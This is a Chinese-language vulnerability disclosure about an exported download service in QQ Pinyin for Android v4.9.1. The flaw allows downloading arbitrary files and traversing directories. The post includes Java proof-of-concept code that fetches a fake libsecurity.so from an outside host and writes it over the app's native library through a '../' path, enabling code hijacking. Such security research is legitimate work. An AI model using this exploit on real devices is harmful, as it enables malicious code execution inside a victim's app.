Intro
QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤,导致任意文件下载,且没有对传入的文件名进行合法性校验,导致目录遍历。加上其本身Apk的特点,可以使用该组件感染/劫持so文件。之前没注意QQ拼音已经归属搜狗,2015-04-27提交到了TSRC,告知已转交搜狗。至今漏洞依然存在,但从v4.9.2开始lib目录有所变化,无法感染/劫持。
漏洞细节
查看AndroidManifest.xml文件,发现com.tencent.qqpinyin.voice.DownloadApkService导出:
<service android:name=".voice.DownloadApkService" android:process=":remote"> <intent-filter> <action android:name="com.tencent.qqpinyin.download.apk" /> </intent-filter> </service>
DownloadApkService关键代码如下:
public class DownloadApkService extends Service { private String apkName; private String apkPath; private IDownloadApkCallback callback; private DownloadHanlder handler; private boolean isCancel; private final IDownloadApkService$Stub mBinder; private DownloadApkService$DownLoadThread mDownLoadThread; private int progress; public DownloadApkService() { super(); this.handler = null; this.callback = null; this.apkName = null; this.mDownLoadThread = null; this.progress = 0; this.apkPath = null; this.isCancel = false; this.mBinder = new DownloadApkService$3(this); } public IBinder onBind(Intent arg2) { return this.mBinder; } public void onCreate() { super.onCreate(); this.handler = new DownloadHanlder(((Context)this), 101); this.apkName = null; } public int onStartCommand(Intent arg2, int arg3, int arg4) { return super.onStartCommand(arg2, arg3, arg4); } public boolean onUnbind(Intent arg2) { return super.onUnbind(arg2); } }
所以,绑定了该服务即可通过mBinder进行远程调用。mBinder是DownloadApkService$3,实现的接口如下:
public interface IDownloadApkService extends IInterface { void cancelDownload(); void destoryService(); int getProgress(); void hideBackTask(); void registerCallback(IDownloadApkCallback arg1); void startBackTask(); void startDownload(String arg1, String arg2); } DownloadApkService$3的startDownload实际上调用的是DownloadApkService的download函数: public void startDownload(String arg2, String arg3) { DownloadApkService.this.apkName = arg3; DownloadApkService.this.download(arg2, arg3); }
download函数如下:
private void download(String arg7, String arg8) { if(!TextUtils.isEmpty(((CharSequence)arg7))) { this.isCancel = false; this.progress = 0; DownloadApkService$1 downloadApkService$1 = new DownloadApkService$1(this, this.getMainLooper()); this.apkPath = QSDCard.getPath() + this.getResources().getString(2131165543) + File.separator + arg8; this.mDownLoadThread = new DownloadApkService$DownLoadThread(this, new DownloadApkService$DownLoadTask( this, this, ((Handler)downloadApkService$1), arg7, this.apkPath)); this.mDownLoadThread.start(); } }
所以,实际上调用的是DownloadApkService$DownLoadTask进行下载。程序预期在/storage/emulated/0/Tencent/QQInput/Apk/目录下写入文件,由于没有处理”../”,导致目录遍历,可以将文件写入任意位置。
利用方法
和其他Service的利用有点差别,远程调用Binder需要在绑定后使用transact进行调用,通过Parcel传递返回值和参数。每一个函数的对应调用号可以在IDownloadApkService$Stub中找到:
static final int TRANSACTION_cancelDownload = 2; static final int TRANSACTION_destoryService = 5; static final int TRANSACTION_getProgress = 4; static final int TRANSACTION_hideBackTask = 7; static final int TRANSACTION_registerCallback = 6; static final int TRANSACTION_startBackTask = 3; static final int TRANSACTION_startDownload = 1;
然后利用起来就十分简单了:
private boolean call_download_service(String file_url, String download_path) { boolean status = false; if (!is_download_service_bound || download_service == null) { return status; } try { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(INTERFACE_TOKEN); data.writeString(file_url); data.writeString(download_path); if (!download_service.transact(1, data, reply, 0)) { return status; } data.recycle(); reply.recycle(); status = true; } catch (RemoteException e) { Log.e(TAG, "RemoteException raised."); e.printStackTrace(); return status; } return status; } @Click void doDownloadArbitraryFile() { if (is_download_service_bound) { String file_url = "http://shouji.360tpcdn.com/150922/76da5c4a51ea8b6881a5da4e0a835249/com.qihoo.appstore_300030250.apk"; String download_path = "tencentmobilemanager5.5.0.apk"; call_download_service(file_url, download_path); } else { // TODO: show toast. } }
关于感染/劫持
在QQ拼音for Android v4.9.1这个版本中,apk运行时所需的so文件并没有保存在apk的lib目录下,而是保存在了Apk的/res/raw/目录下,运行的时候释放到/data/data/com.tencent.qqpinyin/app_lib/目录并加载运行。在Android系统中,App自身无法写入/data/data/[PACKAGE_NAME]/lib/目录,只可读取。QQ拼音for Android v4.9.1的这种设计则绕过这种设计,并且在加载时只做了文件是否存在的校验,并没有其他完整性校验。利用如下代码可以感染libsecurity.so文件:
@Click void doInfectLibSecurity() { if (is_download_service_bound) { String file_url = "http://thecjw.0GiNr.com/7e8b56123e6d56f85e4d2af7a2def57c/libFakeSecurity.so"; String download_path = "../../../../../../data/data/com.tencent.qqpinyin/app_lib/libsecurity.so"; call_download_service(file_url, download_path); } else { // TODO: show toast. } }
伪造的libsecurity.so被加载的时候会drop原始的so,并调用原始的JNI_Onload。效果如图所示:
完整代码请参考QQPinyinExp。
其他
4.9.2后的版本,所用的so文件放在了lib目录下,无法直接写入。然而,com.tencent.connect.auth.AuthDialog会尝试加载的/data/data/com.tencent.qqpinyin/files/libwbsafeedit.so:
package com.tencent.connect.auth; public class AuthDialog extends Dialog { static { try { Context context = Global.getContext(); if(context != null) { if(new File(context.getFilesDir().toString() + "/libwbsafeedit.so").exists()) { System.load(context.getFilesDir().toString() + "/libwbsafeedit.so"); f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib success."); return; } f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because so is not exists."); return; } f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because context is null."); } catch(Exception exception) { f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib error.", ((Throwable)exception)); } }
看起来这是腾讯SSO的一个SDK,但目前没发现能触发的操作。如果其他App也用了这个SDK,配合额其他类似的漏洞,也可以达到劫持和感染的目的。